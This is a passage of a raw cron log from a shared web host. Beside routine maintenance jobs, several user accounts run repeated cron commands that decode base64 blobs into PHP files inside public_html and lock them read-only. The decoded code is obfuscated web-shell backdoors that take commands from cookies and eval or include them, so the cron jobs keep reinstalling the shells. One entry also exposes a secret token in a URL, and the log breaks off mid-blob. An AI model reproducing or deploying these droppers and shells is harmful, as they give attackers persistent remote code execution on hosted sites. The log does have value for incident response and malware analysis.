"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:04:01 medusa CROND[10746]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:04:01 medusa CROND[10748]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:04:01 medusa CROND[10749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:04:01 medusa CROND[10747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:04:01 medusa CROND[10753]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:04:01 medusa CROND[10755]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:04:01 medusa CROND[10757]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:04:01 medusa CROND[10761]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:04:01 medusa CROND[10764]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:04:01 medusa CROND[10750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:05:01 medusa CROND[2444]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:05:01 medusa CROND[2546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:05:01 medusa CROND[2583]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:05:01 medusa CROND[2586]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:05:01 medusa CROND[2587]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:05:01 medusa CROND[2588]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:05:01 medusa CROND[2589]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:05:01 medusa CROND[2593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:05:01 medusa CROND[2590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:05:01 medusa CROND[2594]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 08:05:01 medusa CROND[2598]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:05:01 medusa CROND[2596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:05:01 medusa CROND[2601]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:05:01 medusa CROND[2604]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:05:01 medusa CROND[2605]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:05:01 medusa CROND[2606]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 08:05:01 medusa CROND[2611]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:05:01 medusa CROND[2592]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:05:01 medusa CROND[2613]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 08:05:01 medusa CROND[2626]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:05:01 medusa CROND[2632]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:05:01 medusa CROND[2634]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 08:05:01 medusa CROND[2637]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:05:01 medusa CROND[2639]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:06:01 medusa CROND[26571]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:06:01 medusa CROND[26570]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:06:01 medusa CROND[26572]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:06:01 medusa CROND[26573]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:06:01 medusa CROND[26575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:06:01 medusa CROND[26574]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 08:06:01 medusa CROND[26577]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJ